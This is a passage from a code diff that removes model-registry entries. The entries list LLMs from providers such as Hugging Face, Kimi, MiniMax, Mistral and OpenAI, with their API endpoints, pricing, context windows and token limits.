0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "MiniMaxAI/MiniMax-M2.7": { - id: "MiniMaxAI/MiniMax-M2.7", - name: "MiniMax-M2.7", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3-235B-A22B-Thinking-2507": { - id: "Qwen/Qwen3-235B-A22B-Thinking-2507", - name: "Qwen3-235B-A22B-Thinking-2507", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3-Coder-480B-A35B-Instruct": { - id: "Qwen/Qwen3-Coder-480B-A35B-Instruct", - name: "Qwen3-Coder-480B-A35B-Instruct", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 66536, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3-Coder-Next": { - id: "Qwen/Qwen3-Coder-Next", - name: "Qwen3-Coder-Next", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 0.2, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3-Next-80B-A3B-Instruct": { - id: "Qwen/Qwen3-Next-80B-A3B-Instruct", - name: "Qwen3-Next-80B-A3B-Instruct", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 0.25, - output: 1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 66536, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3-Next-80B-A3B-Thinking": { - id: "Qwen/Qwen3-Next-80B-A3B-Thinking", - name: "Qwen3-Next-80B-A3B-Thinking", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "Qwen/Qwen3.5-397B-A17B": { - id: "Qwen/Qwen3.5-397B-A17B", - name: "Qwen3.5-397B-A17B", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "XiaomiMiMo/MiMo-V2-Flash": { - id: "XiaomiMiMo/MiMo-V2-Flash", - name: "MiMo-V2-Flash", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "deepseek-ai/DeepSeek-R1-0528": { - id: "deepseek-ai/DeepSeek-R1-0528", - name: "DeepSeek-R1-0528", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 3, - output: 5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 163840, - } satisfies Model<"openai-completions">, - "deepseek-ai/DeepSeek-V3.2": { - id: "deepseek-ai/DeepSeek-V3.2", - name: "DeepSeek-V3.2", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.28, - output: 0.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "moonshotai/Kimi-K2-Instruct": { - id: "moonshotai/Kimi-K2-Instruct", - name: "Kimi-K2-Instruct", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "moonshotai/Kimi-K2-Instruct-0905": { - id: "moonshotai/Kimi-K2-Instruct-0905", - name: "Kimi-K2-Instruct-0905", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "moonshotai/Kimi-K2-Thinking": { - id: "moonshotai/Kimi-K2-Thinking", - name: "Kimi-K2-Thinking", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.5, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "moonshotai/Kimi-K2.5": { - id: "moonshotai/Kimi-K2.5", - name: "Kimi-K2.5", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3, - cacheRead: 0.1, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "zai-org/GLM-4.7": { - id: "zai-org/GLM-4.7", - name: "GLM-4.7", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "zai-org/GLM-4.7-Flash": { - id: "zai-org/GLM-4.7-Flash", - name: "GLM-4.7-Flash", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "zai-org/GLM-5": { - id: "zai-org/GLM-5", - name: "GLM-5", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "zai-org/GLM-5.1": { - id: "zai-org/GLM-5.1", - name: "GLM-5.1", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - }, - "kimi-coding": { - "kimi-k2.6": { - id: "kimi-k2.6", - name: "Kimi K2.6", - api: "anthropic-messages", - provider: "kimi-coding", - baseUrl: "https://api.kimi.com/coding", - reasoning: true, - input: ["text", "image"], - capabilities: { thinkingNoBudget: true }, - cost: { - input: 0.7448, - output: 4.655, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "kimi-k2-thinking": { - id: "kimi-k2-thinking", - name: "Kimi K2 Thinking", - api: "anthropic-messages", - provider: "kimi-coding", - baseUrl: "https://api.kimi.com/coding", - reasoning: true, - input: ["text"], - capabilities: { thinkingNoBudget: true }, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - }, - minimax: { - "MiniMax-M2": { - id: "MiniMax-M2", - name: "MiniMax-M2", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.1": { - id: "MiniMax-M2.1", - name: "MiniMax-M2.1", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.5": { - id: "MiniMax-M2.5", - name: "MiniMax-M2.5", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.5-highspeed": { - id: "MiniMax-M2.5-highspeed", - name: "MiniMax-M2.5-highspeed", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.7": { - id: "MiniMax-M2.7", - name: "MiniMax-M2.7", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.7-highspeed": { - id: "MiniMax-M2.7-highspeed", - name: "MiniMax-M2.7-highspeed", - api: "anthropic-messages", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - }, - "minimax-cn": { - "MiniMax-M2": { - id: "MiniMax-M2", - name: "MiniMax-M2", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.1": { - id: "MiniMax-M2.1", - name: "MiniMax-M2.1", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.5": { - id: "MiniMax-M2.5", - name: "MiniMax-M2.5", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.5-highspeed": { - id: "MiniMax-M2.5-highspeed", - name: "MiniMax-M2.5-highspeed", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.7": { - id: "MiniMax-M2.7", - name: "MiniMax-M2.7", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "MiniMax-M2.7-highspeed": { - id: "MiniMax-M2.7-highspeed", - name: "MiniMax-M2.7-highspeed", - api: "anthropic-messages", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - }, - mistral: { - "codestral-latest": { - id: "codestral-latest", - name: "Codestral (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 0.9, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 4096, - } satisfies Model<"mistral-conversations">, - "devstral-2512": { - id: "devstral-2512", - name: "Devstral 2", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"mistral-conversations">, - "devstral-medium-2507": { - id: "devstral-medium-2507", - name: "Devstral Medium", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "devstral-medium-latest": { - id: "devstral-medium-latest", - name: "Devstral 2 (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"mistral-conversations">, - "devstral-small-2505": { - id: "devstral-small-2505", - name: "Devstral Small 2505", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "devstral-small-2507": { - id: "devstral-small-2507", - name: "Devstral Small", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "labs-devstral-small-2512": { - id: "labs-devstral-small-2512", - name: "Devstral Small 2", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"mistral-conversations">, - "magistral-medium-latest": { - id: "magistral-medium-latest", - name: "Magistral Medium (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: true, - input: ["text"], - cost: { - input: 2, - output: 5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"mistral-conversations">, - "magistral-small": { - id: "magistral-small", - name: "Magistral Small", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: true, - input: ["text"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "ministral-3b-latest": { - id: "ministral-3b-latest", - name: "Ministral 3B (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.04, - output: 0.04, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "ministral-8b-latest": { - id: "ministral-8b-latest", - name: "Ministral 8B (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, - output: 0.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "mistral-large-2411": { - id: "mistral-large-2411", - name: "Mistral Large 2.1", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"mistral-conversations">, - "mistral-large-2512": { - id: "mistral-large-2512", - name: "Mistral Large 3", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"mistral-conversations">, - "mistral-large-latest": { - id: "mistral-large-latest", - name: "Mistral Large (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"mistral-conversations">, - "mistral-medium-2505": { - id: "mistral-medium-2505", - name: "Mistral Medium 3", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"mistral-conversations">, - "mistral-medium-2508": { - id: "mistral-medium-2508", - name: "Mistral Medium 3.1", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"mistral-conversations">, - "mistral-medium-latest": { - id: "mistral-medium-latest", - name: "Mistral Medium (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"mistral-conversations">, - "mistral-nemo": { - id: "mistral-nemo", - name: "Mistral Nemo", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "mistral-small-2506": { - id: "mistral-small-2506", - name: "Mistral Small 3.2", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"mistral-conversations">, - "mistral-small-2603": { - id: "mistral-small-2603", - name: "Mistral Small 4", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"mistral-conversations">, - "mistral-small-latest": { - id: "mistral-small-latest", - name: "Mistral Small (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"mistral-conversations">, - "open-mistral-7b": { - id: "open-mistral-7b", - name: "Mistral 7B", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.25, - output: 0.25, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8000, - maxTokens: 8000, - } satisfies Model<"mistral-conversations">, - "open-mixtral-8x22b": { - id: "open-mixtral-8x22b", - name: "Mixtral 8x22B", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 64000, - maxTokens: 64000, - } satisfies Model<"mistral-conversations">, - "open-mixtral-8x7b": { - id: "open-mixtral-8x7b", - name: "Mixtral 8x7B", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text"], - cost: { - input: 0.7, - output: 0.7, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 32000, - } satisfies Model<"mistral-conversations">, - "pixtral-12b": { - id: "pixtral-12b", - name: "Pixtral 12B", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - "pixtral-large-latest": { - id: "pixtral-large-latest", - name: "Pixtral Large (latest)", - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"mistral-conversations">, - }, - openai: { - "gpt-4": { - id: "gpt-4", - name: "GPT-4", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text"], - cost: { - input: 30, - output: 60, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"openai-responses">, - "gpt-4-turbo": { - id: "gpt-4-turbo", - name: "GPT-4 Turbo", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-responses">, - "gpt-4.1": { - id: "gpt-4.1", - name: "GPT-4.1", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"openai-responses">, - "gpt-4.1-mini": { - id: "gpt-4.1-mini", - name: "GPT-4.1 mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.4, - output: 1.6, - cacheRead: 0.1, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"openai-responses">, - "gpt-4.1-nano": { - id: "gpt-4.1-nano", - name: "GPT-4.1 nano", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"openai-responses">, - "gpt-4o": { - id: "gpt-4o", - name: "GPT-4o", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-4o-2024-05-13": { - id: "gpt-4o-2024-05-13", - name: "GPT-4o (2024-05-13)", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 5, - output: 15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-responses">, - "gpt-4o-2024-08-06": { - id: "gpt-4o-2024-08-06", - name: "GPT-4o (2024-08-06)", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-4o-2024-11-20": { - id: "gpt-4o-2024-11-20", - name: "GPT-4o (2024-11-20)", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-4o-mini": { - id: "gpt-4o-mini", - name: "GPT-4o mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-5": { - id: "gpt-5", - name: "GPT-5", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-chat-latest": { - id: "gpt-5-chat-latest", - name: "GPT-5 Chat Latest", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-5-codex": { - id: "gpt-5-codex", - name: "GPT-5-Codex", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-mini": { - id: "gpt-5-mini", - name: "GPT-5 Mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-nano": { - id: "gpt-5-nano", - name: "GPT-5 Nano", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.05, - output: 0.4, - cacheRead: 0.005, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-pro": { - id: "gpt-5-pro", - name: "GPT-5 Pro", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 120, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 272000, - } satisfies Model<"openai-responses">, - "gpt-5.1": { - id: "gpt-5.1", - name: "GPT-5.1", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.13, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-chat-latest": { - id: "gpt-5.1-chat-latest", - name: "GPT-5.1 Chat", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex": { - id: "gpt-5.1-codex", - name: "GPT-5.1 Codex", - api: 